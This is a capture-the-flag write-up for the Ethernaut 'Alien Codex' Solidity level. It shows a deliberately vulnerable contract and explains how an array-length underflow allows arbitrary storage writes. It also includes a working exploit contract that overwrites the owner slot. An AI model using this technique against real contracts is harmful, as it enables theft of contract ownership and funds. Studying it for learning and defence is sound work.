✅
Alien Codex
dynamic array
You've uncovered an Alien contract. Claim ownership to complete the level.
Things that might help:
- Understanding how array storage works
- Using a very
underhanded
approach
// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;
import '../helpers/Ownable-05.sol';
contract AlienCodex is Ownable {
bool public contact;
bytes32[] public codex;
modifier contacted() {
assert(contact);
_;
}
function make_contact() public {
contact = true;
}
function record(bytes32 _content) contacted public {
codex.push(_content);
}
function retract() contacted public {
codex.length--;
}
function revise(uint i, bytes32 _content) contacted public {
codex[i] = _content;
}
}
The objective is to claim ownership of the challenge contract, but how? Hint: the first state variable of '../helpers/Ownable-05.sol' is
owner
and this state variable is inherited by contract AlienCodex
. Our objective is to overwrite this owner
state variable.Which slot does
owner
reside? The state variable ordering in inheritance is explained in this post:
In Solidity, how does the slot assignation work for storage variables when there's inheritance?
Ethereum Stack Exchange
In Solidity, how does the slot assignation work for storage variables when there's inheritance?
codex
is a dynamic array. This challenge is all about dynamic array storage layout. This blog explains this topic perfectly:Understanding Ethereum Smart Contract Storage
Understanding Ethereum Smart Contract Storage
Challenge contract provides three functionalities to manipulate it:
record()
: push tocodex
retract()
: pop fromcodex
->length--
is the old fashion way of "pop" before Solidity v0.8revise()
: overwrite an entry ofcodex
First thing we have to do is calling
make_contact()
. This will set contact
to true so that we can proceed.Before Solidity v0.8, integer overflow/underflow is a thing. Note that the length of
codex
can underflow. At beginning the length of codex
is 0. If we call retract()
, the length becomes -1, which is after underflow. Now we can treat
codex
as a dynamic array with arbitrary length.Since
codex
can be long enough, it is possible to write to a specific index of codex
such that storage slot 0 is overwritten. This can be done using the function revise
, which is basically a powerful arbitrary write function: function revise(uint i, bytes32 _content) contacted public {
codex[i] = _content;
}
Next, we are going to deduce which
i
to write:slot 0: owner (20 bytes) + contact (1 byte)
slot 1: codex.length
...
slot h (h = keccak(1)): codex[0]
slot h+1: codex[1]
slot h+2: codex[2]
...
slot h+i <=> slot 0: codex[i] <=> owner
=> i = 0 - h
The solution contract is easy to write:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IAlienCodex {
function owner() external view returns (address);
function make_contact() external;
function record(bytes32) external;
function retract() external;
function revise(uint256, bytes32) external;
}
contract AlienCodexHack {
constructor(IAlienCodex challenge) {
// contact = true;
challenge.make_contact();
// codex.length = 2**256 - 1;
challenge.retract();
// Overwrite codex[i] <=> slot 0
uint256 h = uint256(keccak256(abi.encode(uint256(1))));
uint256 i;
unchecked {
i = 0 - h;
}
challenge.revise(i, bytes32(uint256(uint160(msg.sender))));
// Verify if we are the owner now
require(challenge.owner() == msg.sender, "Failed.");
}
}
This level exploits the fact that the EVM doesn't validate an array's ABI-encoded length vs its actual payload.
Additionally, it exploits the arithmetic underflow of array length, by expanding the array's bounds to the entire storage area of
2^256
. The user is then able to modify all contract storage.Last modified 6mo ago